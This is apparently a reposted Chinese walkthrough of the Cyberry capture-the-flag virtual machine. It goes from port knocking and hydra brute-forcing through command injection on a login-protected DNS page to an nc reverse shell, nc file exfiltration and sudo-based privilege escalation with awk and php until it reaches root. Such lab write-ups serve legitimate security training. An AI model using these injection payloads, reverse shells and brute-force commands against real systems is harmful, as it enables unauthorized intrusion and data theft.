内容简介:靶机ip:192.168.107.132攻击机kali:192.168.107.134
环境准备
靶机ip:192.168.107.132
攻击机kali:192.168.107.134
说明:目的是拿下靶机并获取root权限
渗透测试
首先nmap开路,找一下靶机的ip地址 nmap -sP 192.168.107.1/24
既然确定了ip,接着我们扫一下端口。 开了三个端口,1个web端口80,1个ssh端口22,1个ftp端口21.我们先从web服务开始。 一个静态页面,没什么搞头,扫一下目录。 我先从phpmyadmin下手, 这里尝试爆破弱口令,结果失败,看来不是从这里入手,接着去/login.php界面看看,试了半天,好像也不是什么注入,结果发现这里有点东西, 点进去, 前面几个点进去是404,这一个就有东西了, 这样一张图片。用图片编辑器调一下, 这里就很有意思了,有四个人,最上方还有一部分,出现了PORT字样,一时半会有些蒙蔽,但是显然这个靶机入口就在这里了(总不会无缘无故给一张这样的图吧- -)。然后,我分别把这四个人截图下来,用浏览器的识别功能去查了这四个人,了解了一下各个人的信息,这四个人分别是Smiley Lewis, Dave Edmunds, Fats Domino和Gale Storm,首先,他们都是艺术家,都演奏了同一首歌曲,名字叫,”I hear you knocking”,年份分别是,1970,1955,1955,1961,这差不多是共同点了,还是很蒙蔽0.0,这里结合了知识面和脑洞。。原来跟knock有关,linux下有个命令knock可供安装使用, 端口试探(port knocking)
是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机,知道这个就明白上面那个PORT的意思了,显然是有某个端口没有被打开,需要我们knock开。那年份就要用上了,从左上依次到右下 knock 192.168.107.132 1970 1955 1955 1961
。knock之后,再来扫描端口,从1-65535 发现了一个端口开放了,我们访问, 还是这个页面,但是既然端口不一样,那肯定存在的页面也会有差异,我们这次使用kali下的dirb扫描目录, 这里,多了个H目录,访问, 这种语言在CTF中见过,brain-fuck,于是乎,Google一个在线翻译,解密,内容如下, 明显上面几个是用户名,下面pw那个是密码,想到前面开了ftp和ssh,把目标转向了ssh和ftp,先看看能不能登陆ssh,这里我用hydra进行爆破,先把刚才的用户名和密码保存在本地 .hydra命令如下, hydra -L /root/user.txt -P /root/pw.txt ssh://192.168.107.132 -t 6
爆破成功,直接去登陆ssh, ssh mary@192.168.107.132
。结果登不进去 被墙了?不知道。。总之就是我们被拒绝了,ssh这条路看来走不通了。。。换个思路,爆破ftp。 还是这个用户名和密码, ftp 192.168.107.132
成功登陆,接着,用 ls -la
看看文件, 在.bash_history目录,发现有两个文件,get到kali本地,命令, get .trash
get .reminder.enc
。接着到本地看看文件类型, 一个是openssl enc加密,一个是文本,我们看看文本内容 应该就是密码了,网上找了个脚本,直接放在命令行用,
for i in `openssl enc -ciphers | tail -n +2` ; do for j in `cat .trash`; do openssl ${i:1} -d -salt -md md5 -in .reminder.enc -out "decrypted$i$j" -k $j; done;done 2>/dev/null
file * | grep "text"
cat
查看一下,
这个dangleberry69大概就是什么登陆密码,好像暂时没什么地方用到登陆了,别忘了我们web网站上还有一个登陆处,用mary和拿到的密码去登陆一下,
http://192.168.107.132:61955/login.php
登陆成功,页面有两个链接,第一个就是一个视频播放,没什么用,第二个是个DNS解析的页面。
只给了一个yahoo和google,看着像是一个代码执行的洞,我尝试在前台修改一下,看看能不能执行其他的东西
修改,添加
google;whoami
。然后,提交
果然,执行了代码,这样,我便想反弹一个shell,先在攻击机上执行
nc -lvp 4444
接着,在前台修改value值为
google;nc -e /bin/bash 192.168.107.133 4444
等几秒钟,查看攻击机
已经反弹到 shell 了,看着很不舒服,用 python 引入一个交互式shell,
python -c "import pty;pty.spawn('/bin/bash')"
查看当前目录下的文件,有个nb-latin,查看内容
看着要不是用户名,要不就是密码,先下载到攻击机上,shell上命令
nc -w 3 192.168.107.132 4444< nb-latin
kali终端上
nc -lvp 4444 > pass.txt
。
用之前的用户名字典和这个密码字典试试ssh登陆,还是上hydra,
hydra -L /root/user.txt -P /root/pass.txt ssh://192.168.107.132 -t 6
登陆ssh,这下成功了,没有出错,看下文件,运行sh
发现我们基本上没有权限,什么都运行不了,应该会有个地方有权限的设定,于是想到了sudo -l
命令,列出目前用户可执行的指令,
确实,我们可以用terry的权限去执行刚才那两个我们没有权限的文件,命令
sudo -u terrt ./invoke.sh
,
通过测试,我发现需要带一个参数,而且这个参数是将要被打开的文件 ,我试着把参数改为/bin/bash,发现,我们用户切换为terry了
同样,用上面的方法
sudo -l
,发现有一个文件可以用halle的权限去执行,
这里的这个文件是awk,awk是 linux 下一种文本处理工具,有他自己的语法,按照这个思路,我们需要通过awk的命令,将用户变为halle,用BEGIN命令,引入system全局变量,执行/bin/bash,
sudo -u halle awk 'BEGIN{system("/bin/bash")}'
,发现我们已经变成halle了,
再进行
sudo -l
,
halle可以用chuck的权限执行php,这里踩坑了,最后做法是,我们写一个 php 文件去执行系统命令,然后用php文件去读chuck目录下的文件,先将文件写入/tmp目录,因为/tmp目录一般来说都可以读,
echo "<?php system('ls -la /home/chuck')?>" > /tmp/1.php
,然后用
sudo -u chuck /usr/bin/php /tmp/1.php
执行,可以发现执行成功了。(注意,直接打开/tmp/1.php是没有权限的,只有用chuck的身份去打开)
我们再去写一个读.deleted目录下的文件,
echo "<?php system('ls -la /home/chuck/.deleted')?>" > /tmp/1.php
.接着
sudo -u chuck /usr/bin/php /tmp/1.php
.执行,
有两个文件,先看看ssh_stuff里有什么,
发现了rsa公钥,但没法进行免密登陆ssh,我们条件没法实现,所以看看另一个文件deleted,
打开后,发现了类似密码的邮件,
右侧文本文件是我自己创建的记录,开头是che,结尾是rry,中间有baca,还有一些字母出现次数的说明,那么接下来就是爆破密码了,直接暴力,用kali下的自带工具 crunch 生成密码
由于文件有点大,先生成好,再把他们合成为一个文件。
接着用hydra爆破。爆了一万年。。
接着直接登陆ssh,
可以看到已经是root了,至此靶机提升root已完成。
参考链接
http://www.sohu.com/a/161766202_709042 【tty交互式shell】
https://en.wikipedia.org/wiki/Port_knocking 【Port_knocking】
以上所述就是小编给大家介绍的《Cyberry靶机渗透测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 渗透测试实战-Blacklight靶机+DeRPnStiNK靶机入侵
- 渗透测试实战-eric靶机+HackInOS靶机入侵
- 渗透测试实战-lin.security靶机+Goldeneye靶机入侵
- 渗透测试实战-ROP靶机PWN+SolidState靶机入侵
- 渗透测试实战——unknowndevice64-1靶机+Moonraker靶机入侵
- Moonraker靶机渗透测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。